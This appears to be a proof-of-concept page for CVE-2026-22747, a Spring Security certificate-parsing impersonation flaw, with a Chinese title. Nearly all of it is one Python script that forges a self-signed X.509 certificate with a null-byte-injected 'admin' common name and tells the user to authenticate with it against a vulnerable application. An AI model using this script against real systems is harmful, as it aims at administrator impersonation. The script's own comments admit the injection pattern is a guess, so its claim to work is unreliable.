CVE-2026-22747 Spring Security证书解析用户冒充漏洞

#!/usr/bin/env python3 """ PoC Concept for CVE-2026-22747 Demonstrates creating a malicious X.509 certificate with a malformed CN. Note: This requires the target to be running a vulnerable version of Spring Security. """ from cryptography import x509 from cryptography.x509.oid import NameOID from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives import serialization import datetime # Generate private key private_key = rsa.generate_private_key( public_exponent=65537, key_size=2048, ) # Define subject with a potentially malformed CN to trigger parsing issues # The exact malformed pattern depends on the specific parsing bug in SubjectX500PrincipalExtractor # Often involves special characters or encoding sequences that confuse the DN parser. subject = issuer = x509.Name([ x509.NameAttribute(NameOID.COUNTRY_NAME, u"US"), x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, u"CA"), x509.NameAttribute(NameOID.LOCALITY_NAME, u"San Francisco"), x509.NameAttribute(NameOID.ORGANIZATION_NAME, u"My Company"), # Attempting to inject a pattern that might be misinterpreted as a different user # For example, embedding a valid username followed by garbage that the parser ignores incorrectly x509.NameAttribute(NameOID.COMMON_NAME, u"admin\x00garbage_data"), ]) cert = x509.CertificateBuilder().subject_name( subject ).issuer_name( issuer ).public_key( private_key.public_key() ).serial_number( x509.random_serial_number() ).not_valid_before( datetime.datetime.utcnow() ).not_valid_after( datetime.datetime.utcnow() + datetime.timedelta(days=365) ).add_extension( x509.SubjectAlternativeName([x509.DNSName(u"localhost")]), critical=False, ).sign(private_key, hashes.SHA256()) # Write certificate and key to file with open("malicious_cert.pem", "wb") as f: f.write(cert.public_bytes(serialization.Encoding.PEM)) with open("malicious_key.pem", "wb") as f: f.write(private_key.private_bytes( encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.TraditionalOpenSSL, encryption_algorithm=serialization.NoEncryption() )) print("Malicious certificate generated: malicious_cert.pem") print("Use this certificate to authenticate against the vulnerable Spring Security application.")